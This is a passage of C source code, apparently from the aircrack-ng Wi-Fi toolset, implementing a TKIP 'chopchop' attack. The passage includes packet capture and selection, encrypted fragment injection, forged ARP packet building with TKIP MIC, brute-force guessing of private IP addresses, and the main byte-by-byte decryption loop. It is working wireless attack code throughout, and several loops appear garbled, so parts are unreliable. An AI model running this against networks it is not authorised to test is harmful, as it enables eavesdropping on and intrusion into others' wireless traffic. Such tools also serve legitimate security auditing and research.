1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska) { int t, u; int data_size; uchar frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet lenght if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int build_arp_request(uchar* packet, int *length, int toDS) { int i; uchar buf[128]; packet[0] = 0x88; //QoS Data if(toDS) packet[1] = 0x41; //encrypted to/fromDS else packet[1] = 0x42; packet[2] = 0x2c; packet[3] = 0x00; if(toDS) { memcpy(packet+4, opt.f_bssid, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, opt.r_apmac, 6); } else { memcpy(packet+4, opt.r_smac, 6); memcpy(packet+10, opt.f_bssid, 6); memcpy(packet+16, opt.r_apmac, 6); } packet[22] = 0xD0; //fragment 0 packet[23] = 0xB4; if(toDS) packet[24] = 0x01; //priority 1 else packet[24] = 0x02; //priority 2 packet[25] = 0x00; if(toDS) set_clear_arp(packet+26, opt.r_smac, BROADCAST); else set_clear_arp(packet+26, opt.r_apmac, BROADCAST); if(toDS) memcpy(packet+26+22, opt.ip_cli, 4); else memcpy(packet+26+22, opt.ip_ap, 4); if(toDS) memcpy(packet+26+26, BROADCAST, 6); else memcpy(packet+26+26, BROADCAST, 6); if(toDS) memcpy(packet+26+32, opt.ip_ap, 4); else memcpy(packet+26+32, opt.ip_cli, 4); *length = 26+36; calc_tkip_mic(packet, *length, opt.ptk, packet+(*length)); *length += 8; memcpy(buf, packet+26, (*length) - 26); memcpy(packet+26+8, buf, (*length) - 26); if(toDS) memcpy(packet+26, opt.chopped_to_prga, 8); //set IV&extIV for a toDS frame else memcpy(packet+26, opt.chopped_from_prga, 8); //set IV&extIV for a fromDS frame (*length)+=8; add_icv(packet, *length, 26+8); (*length) += 4; if(toDS) { if(opt.chopped_to_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_to_prga[8+i]; } else { if(opt.chopped_from_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_from_prga[8+i]; } return 0; } int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } int check_guess(uchar *srcbuf, uchar *chopped, int caplen, int clearlen, uchar *arp, uchar *dmac) { int i, j, z, pos; z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; // if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] == 1) // { // printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n", // arp[22], arp[23], arp[24], arp[25], arp[32], arp[33], arp[34], arp[35] ); // } pos = caplen-z-8-clearlen; for(i=0; i 36) //too many unknown bytes return 1; printf("%i bytes still unknown\n", caplen-z-8 - clearlen); switch( srcbuf[1] & 3 ) { case 0: memcpy( bssid, srcbuf + 16, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 1: memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 2: memcpy( bssid, srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 16, 6 ); break; default: memcpy( bssid, srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 24, 6 ); break; } ptr = arp; psmac = arp+16; pdmac = arp+26; psip = arp+22; pdip = arp+32; len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, smac, len); ptr += len; /* dmac */ if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0) { printf("ARP Reply\n"); memcpy(pdmac, dmac, 6); } else { printf("ARP Request\n"); memcpy(pdmac, ZERO, 6); } if(caplen-z-8 - clearlen == 36) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { for(k=1; k<255; k++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; pdip[3] = k; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(j=0; j<256; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 10; psip[1] = 0; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = 0; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16.y.z\n"); /* check 172.16-31.j.1-254 */ for(j=1; j<255; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 172; psip[1] = 16; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = 16; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 35) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 34) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 25) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { psip[0] = 192; psip[1] = 168; psip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { psip[0] = 172; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { psip[0] = 10; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if(caplen-z-8 - clearlen == 24) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; psip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { psip[0] = 172; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { psip[0] = 10; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if(caplen-z-8 - clearlen <= 23) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ psip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ psip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if(caplen-z-8 - clearlen <= 32) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = srcbuf[z+8+32]^chopped[z+8+32]; psip[1] = srcbuf[z+8+33]^chopped[z+8+33]; psip[2] = i; psip[3] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } return 1; } int do_attack_tkipchop( uchar* src_packet, int src_packet_len ) { float f, ticks[4]; int i, j, n, z, caplen, srcz, srclen; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; int tries=0; int keystream_len=0; int settle=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; unsigned char mic[8]; unsigned char smac[6], dmac[6], bssid[6]; unsigned char rc4key[16], keystream[4096]; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; uchar packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct timeval mic_fail; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; srand( time( NULL ) ); memcpy( h80211, src_packet, src_packet_len); caplen = src_packet_len; if( (h80211[1] & 3) == 1) { h80211[1] += 1; memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); memcpy( srcbuf + 10, bssid, 6 ); memcpy( srcbuf + 4, dmac, 6 ); memcpy( srcbuf + 16, smac, 6 ); // memcpy(h80211+16, BROADCAST, 6); } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); // if( opt.r_smac_set == 1 ) // { // //handle picky APs (send one valid packet before all the invalid ones) // memset(packet, 0, sizeof(packet)); // // memcpy( packet, NULL_DATA, 24 ); // memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); // memcpy( packet + 10, opt.r_smac, 6 ); // memcpy( packet + 16, opt.f_bssid, 6 ); // // packet[0] = 0x08; //make it a data packet // packet[1] = 0x41; //set encryption and ToDS=1 // // memcpy( packet+24, h80211+z, caplen-z); // // if( send_packet( packet, caplen-z+24 ) != 0 ) // return( 1 ); // //done sending a correct packet // } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* debug: generate the keystream */ if(opt.got_ptk) { calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key ); PCT; printf("Per Packet Key: "); for(i=0; i<15; i++) printf("%02X:", rc4key[i]); printf("%02X\n", rc4key[15]); memset(keystream, 0, 4096); keystream_len = caplen - z - 8; encrypt_wep(keystream, keystream_len, rc4key, 16); PCT; printf("Keystream length: %i, Keystream:\n", keystream_len); for(i=0; i> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i]; // chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ is_deauth_mode = 0; // opt.r_dmac[0] = 0xFF; // opt.r_dmac[1] = rand() & 0xFE; // opt.r_dmac[2] = rand() & 0xFF; // opt.r_dmac[3] = rand() & 0xFF; // opt.r_dmac[4] = rand() & 0xFF; /* chop down old/known keystreambytes */ for(i=0; i data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) { printf( "\rLooks like mic failure report was not detected." "Waiting %i seconds before trying again to avoid " "the AP shutting down.\n", opt.mic_failure_interval); fflush( stdout ); settle = 1; sleep(opt.mic_failure_interval); } if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } /* if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) )*/ if( data_end < 47 && tries > 512) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 46; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00; chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01; chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08; chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 ); chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[26 + 8] = 0x40 